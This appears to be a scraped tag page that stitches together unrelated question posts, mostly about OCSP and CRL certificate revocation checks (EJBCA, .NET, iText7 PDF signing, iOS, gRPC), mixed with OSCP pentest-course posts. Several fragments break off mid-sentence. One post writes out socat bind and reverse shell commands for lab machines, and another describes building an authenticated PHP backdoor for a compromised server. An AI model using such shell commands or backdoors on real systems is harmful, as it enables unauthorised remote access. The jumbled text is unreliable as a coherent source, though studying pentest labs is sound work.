oscp

How do I make a simple request for certificate revocation status to an EJBCA OSCP Responder using the Python requests library?

Example:

I have a certificate that does not have an OSCP responder URL and it has 3 CRL endpoints configured. The first url only works from within my corporate network, the second and third can be accessed from outside.

The issue is when I do a chain.Build() on my certificate on a .net core 3.1 service, running on an Alpine base image in AKS cluster, it returns false with the chain element's status as "Unable to get certificate CRL". Since, my pods are not on corpNet anyway, I would expect the chain.Build() to somehow do a round-robin on the endpoints but I am not sure how it actually works.

Is there a way we can hit the other endpoints and get the CRLS?

I am digitally signing a PDF with iText7 and GlobalSign DSS. I implemented the GlobalSing DSS API calls into the necessary iText classes. I get the proper server responses and I am able to call the pdfSigner.signDetached() method with all the needed arguments. Signing with the pdfSigner also succeeds and I get a signed PDF that looks good at first sight. But when I open the signed pdf in Adobe Reader it tells me that the trust chain of the signing certificate is broken and that it can not trace it back to the CA root. Which is strange because it is an AATL certificate and the AATL list of the Adobe Reader is up to date.
And I do not understand why this is happening.

This is what I do :

• call DSS for an identity : returns an id string, the signing certificate and an ocsp response

• call DSS for the trustchain : returns the chain of certificates used to
  sign the signing certicate, up to the GlobalSign root, together with
  their oscp responses (except for the root)

• I create an array of X509Certificate objects containing the signing
  certificate, 2 intermediates and the GlobalSign root certificate (in that order)

• I implement an IOcspClient that uses the ocsp response from the DSS call for the identity

• I implement an ITsaClient that calls the DSS API /timestamp/{digest}

• and finally I execute : pdfSigner.signDetached(externalDigest, externalSignature, chain.toArray(new X509Certificate[]{}), null, dssOcspClient, dssTSAClient, 0, PdfSigner.CryptoStandard.CMS);

• in which the externalSignature (an implementation of IExternalSignature) will call the DSS identity/{id}/sign/{digest} API

While debugging into the signDetached method and deeper into the pdfSigner code, I clearly see that all certificates are in the chain in the right order. I see them being processed in the PdfPKCS7 class (however I don't know/understand exactly what is going on there). I see the signing taking place, no exceptions are thrown and at the end the produced PDF looks like it is correctly signed. Which Adobe says is not.

What am I missing here ?

The trustchain response from de DSS API not only returns the certificates from the chain of trust of the signing certificate, but also the ocsp responses for the two intermediates between the signing certificate and the GlobalSign root. These are never used. And in fact I don't know what to do with them either.
Could these be the missing pieces for AdobeReader to reconstruct the trust chain up to the GlobalSign root ?
And if so : how do I put them into that PDF ?
And if not : then what am I doing wrong that breaks that trustchain ?

An answer to these questions would save my day :-)

Here is the link to a PDF that will show the problem :
test pdf signed with DSS
(after accepting the answer, I removed the example pdf on my client's request)

Below are some pieces of the code.

The center piece that gathers the DSS info and calls the signDetached method

I'm trying to learn about certificate and CRL handling, so I created the following example certificate chain:

Root CA (self-signed) → Intermediate CA (signed by Root CA) → Server Cert (signed bei Intermediate CA)

Now I would like to test certificate revocation to be effective. To do so, I revoke the Server Cert and create a CRL file (of the Intermediate CA) accordingly. The X509v3 CRL Distribution Points are present in all of the certificate files, and they are accessible via http, like:

Hey guys I need your help here !

I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell.

I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls.

I decided to do some trials and error with an unencrypted bind shell on both sides.

Here is what worked for me :

• Kali Bind Shell (Getting /bin/bash on Windows by connecting to the kali binded shell socket)
• Kali Reverse Shell (Getting /bin/bash on Windows by sending it to the windows listening socket)

Here's what did not worked for me :

• Windows Bind Shell (Getting cmd.exe by connecting to the windows listening shell socket)
• Windows Reverse Shell (Getting cmd.exe by sending it to the Kali listening socket)

Here is what i did :

Kali Bind Shell - OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash

Windows 10 (192.168.145.10)

socat -d -d -d - TCP4:192.168.119.145:4444

Kali Reverse Shell - OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Kali (192.168.119.145)

socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash

Windows Bind Shell - NOT OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe

Kali (192.168.119.145)

socat -d -d -d - TCP4:192.168.145.10:4444

Windows Reverse Shell - NOT OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Windows 10 (192.168.145.10)

socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe

Here is what I get :

Windows bind shell - Windows Machine

I am working with data tables, and I want to filter my data table field 4. how can I filter if contains one of the keyword then do something?

I can't get CRLs working on iOS. I've created two test cases. I have a certificate that is valid, issued by a CA. I have another certificate that is valid, issued by a CA, but the CA has added that certificate to its CRL.

I then setup a revocation policy that enables CRL checking, and requires that it succeeds.

I have a PHP script that I am developing as a backdoor to be uploaded to a compromised server/application in a pentest - As part of a PWK/OSCP. Hence the use of the insecure functions.

I am trying to implement some basic authentication to ensure only the authorised user is able to find and use the backdoor.

The issue that I have is that once the user is logged in, when a command or upload is executed the script goes back into the login() function instead of rendering the results of, for example ls or any other system command.

I have tried calling displayForm() from within itself but I get a memory exception.

How can I change the existing script so that the command output is displayed and the form is ready for the follow up command?

The user:password has been set to 1:1 for the purposes of this debugging as the script does not allow blank passwords.

I am not familiar with PHP so please forgive any glaringly badly written code!

During a mutual client-server authentication with gRPC+protobuf, is there a CRL and/or OSCP Responder check of the status of the certificate?

I need to be sure that I can revoke the certificate on my PKI and that subsequent calls will be blocked even if the certificate is still valid.